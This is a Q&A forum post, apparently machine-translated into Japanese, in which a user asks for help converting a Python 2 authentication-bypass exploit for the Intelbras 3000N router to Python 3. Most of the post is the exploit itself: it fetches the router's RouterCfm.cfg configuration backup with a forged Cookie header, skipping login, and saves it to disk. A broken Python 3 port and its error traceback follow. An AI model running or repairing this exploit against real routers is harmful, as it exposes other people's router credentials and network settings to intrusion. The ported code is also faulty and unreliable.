0

やあ!intelbras 認証をバイパスするスクリプトをコピーしようとしていますが、私が見たビデオ ( https://www.youtube.com/watch?v=wu2wwh_gsKA ) は、コードが python 2xx バージョンでのみ機能する古い方法を示しています。

import urllib2
import urllib

def crawl():
    print ('[*] Tentando obter o backup sem Cookie!')
    url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
    rsp = urllib.urlopen(url)
    html = rsp.read()
    print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
def crawl_auth():
    url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
    req = urllib2.Request(url)
    req.add_header('Cookie', 'language=pt; admin:language=pt')
    rsp = urllib2.urlopen(req)
    html = rsp.read()
    print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
    bkp = open('backup.cfg', 'w')
    bkp.write(html)
    bkp.close()
print ('[+] Download realizado com sucesso!')
print ('[+] Roteador Wireless Intelbras 3000N')
print ('[+] Pesquisador Victor Pasknel (Morphus Labs)')
crawl()
crawl_auth()

そして、コードをpython 3xxバージョンに変換しようとしています:

from urllib.request import urlopen
import urllib

def crawl():
    print ('[*] Tentando obter o backup sem Cookie!')
    url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
    rsp = urllib.request.urlopen(url)
    html = rsp.read()
    print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
def crawl_auth():
    url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
    #req = urllib.request(url)
    #req.add_header('Cookie', 'language=pt; admin:language=pt')
    rsp = urllib.request.urlopen(url)
    request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt')
    html = rsp.read()
    print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
    bkp = open('backup.cfg', 'w')
    bkp.write(html)
    bkp.close()
print ('[+] Download realizado com sucesso!')
print ('[+] Roteador Wireless Intelbras 3000N')
print ('[+] Pesquisador Victor Pasknel (Morphus Labs)')
crawl()
crawl_auth()

しかし、次のようなエラーが表示されました。


Traceback (most recent call last): File "HackIntelbras.py", line 25, in <module> crawl_auth() File "HackIntelbras.py", line 15, in crawl_auth request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt') File "C:\Python38\lib\urllib\request.py", line 334, in __init__ for key, value in headers.items(): AttributeError: 'str' object has no attribute 'items'

私の疑問は次のとおりです。この問題の解決策をどのように、またはどこで見つけることができますか? 誰かが私を助けることができるなら、私は何か悪いことをしようとしているわけではありません。ルーターにアクセスして構成する必要があるだけです。下手な英語や非常に紛らわしい投稿で申し訳ありません...これが私の最初の投稿です。

4

1 に答える 1